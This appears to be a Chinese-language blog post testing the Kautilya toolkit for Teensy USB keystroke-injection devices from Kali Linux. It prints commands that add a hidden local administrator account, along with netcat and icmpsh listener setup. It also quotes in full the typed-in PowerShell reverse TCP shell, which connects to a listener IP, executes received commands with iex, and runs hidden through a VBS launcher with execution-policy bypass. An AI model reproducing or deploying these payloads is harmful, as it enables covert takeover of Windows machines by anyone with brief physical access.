Teensy進階工具 - Kautilya
安裝介紹
最初想要在Windows上執行,但是似乎有一些lib的問題,嘗試處理了一下,最後還是放棄,直接擁抱Kali,轉到Kali以後,就是無痛直接執行!
上圖為Kautilya在windows上的功能,至於詳細功能,請參考他的github(連結),這邊主要針對:
- Execute
- Reverse TCP
- Reverse UDP
- Reverse ICMP
- Manage
- Add an admin user
這幾個項目做測試,因為比較簡單orz
Add an admin user
這個基本上沒難度,就只是把程式碼燒進去以後,等它執行就對了!
然後它跑得時候會出現cmd的視窗,會縮得很小,讓妳看不到裡面再打什麼:
產生步驟:
沒什麼技術性,就產生完畢了!
稍微看了一下他的程式碼,主要都是用powershell去完成的,在使用者的部份主要是這兩段指令:
# define U_ADD "net user new_user password /add" # define G_ADD "net localgroup Administrators new_user /add"
基本上,就是新增一個administrator權限的新使用者,另外蠻有趣的部份是,他有一些機制,下面這段主要是因為對於第一次接上的鍵盤或是滑鼠,都會需要安裝驅動程式,當然Teensy也不例外:
檢查caps是沒否為on,畢竟這關係到大小寫:
這部份厲害的是,它還另外寫了powershell的指令,還有vbs去解除caps on的狀態,這邊真的只能佩服...orz
不用多說了,所有視窗最小化!
測試影片:
https://youtu.be/4UctVn9YE1Q
void wait_for_drivers(int sleep){...}
檢查caps是沒否為on,畢竟這關係到大小寫:
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}
這部份厲害的是,它還另外寫了powershell的指令,還有vbs去解除caps on的狀態,這邊真的只能佩服...orz
void create_click_capslock_win()
不用多說了,所有視窗最小化!
void minimise_windows(void){...}
測試影片:
https://youtu.be/4UctVn9YE1Q
Reverse TCP & UDP
產生步驟:
基本上也是無痛產生程式碼,不過這邊需要另外說一個東西,『netcat』這是他的server site的接口工具,這是Kali上的標準配備之一,所以就不另外介紹,只大概提一下需要使用到的參數:
-l : Listening mode
-v : Verbose
-u : UDP mode
-p : local port number
當使用Reverse UDP時,使用指令:
nc -lvup [IP] [port]
當使用Reverse TCP時,使用指令:
nc-lvp [IP] [port]
IP跟port當然都是要設定Listening端,因為他是讓Client主動連結server。
另外執行後,也有一些有趣的地方:
他是只有以Process的形式存在,而不是Application,所以工作管理員的Application是看不到東西的,不過還是查的到連線資訊:
然後就像前面說的,它所執行的Process為powershell:
程式碼的部份,排除前面已經說過的:
Keyboard.println("echo $cl = New-Object System.Net.Sockets.TCPClient(\"192.168.77.137\",4444) > %temp%\\rtcp.ps1"); Keyboard.println("echo $str = $cl.GetStream() >> %temp%\\rtcp.ps1"); Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0} >> %temp%\\rtcp.ps1"); Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){ >> %temp%\\rtcp.ps1"); Keyboard.println("echo $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String ) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sb2 = $sb + \"PS \" + (pwd).Path + \"> \" >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $str.Flush()} >> %temp%\\rtcp.ps1"); Keyboard.println("echo $cl.Close() >> %temp%\\rtcp.ps1"); Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\rtcp.vbs"); Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\rtcp.ps1\"),0,true >> %temp%\\rtcp.vbs");
基本上,就是powershell就對了,這段程式碼以後在研究~呵呵
測試影片:
Reverse ICMP
這部份用法基本上跟TCP、UDP一樣,差別只有Listening的service不同,這邊使用icmpsh這個工具:
在使用之前必須要先改系統設定,否則會無法做互動:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
使用方法:
icmpsh-m.py <Listening IP address> <Target IP address>
不過這個比較麻煩的是,Server端必須要知道client端的IP,限制就比較多了,可是相對的是從連線資訊的部份無法查到連線資訊:
測試影片:
留言
張貼留言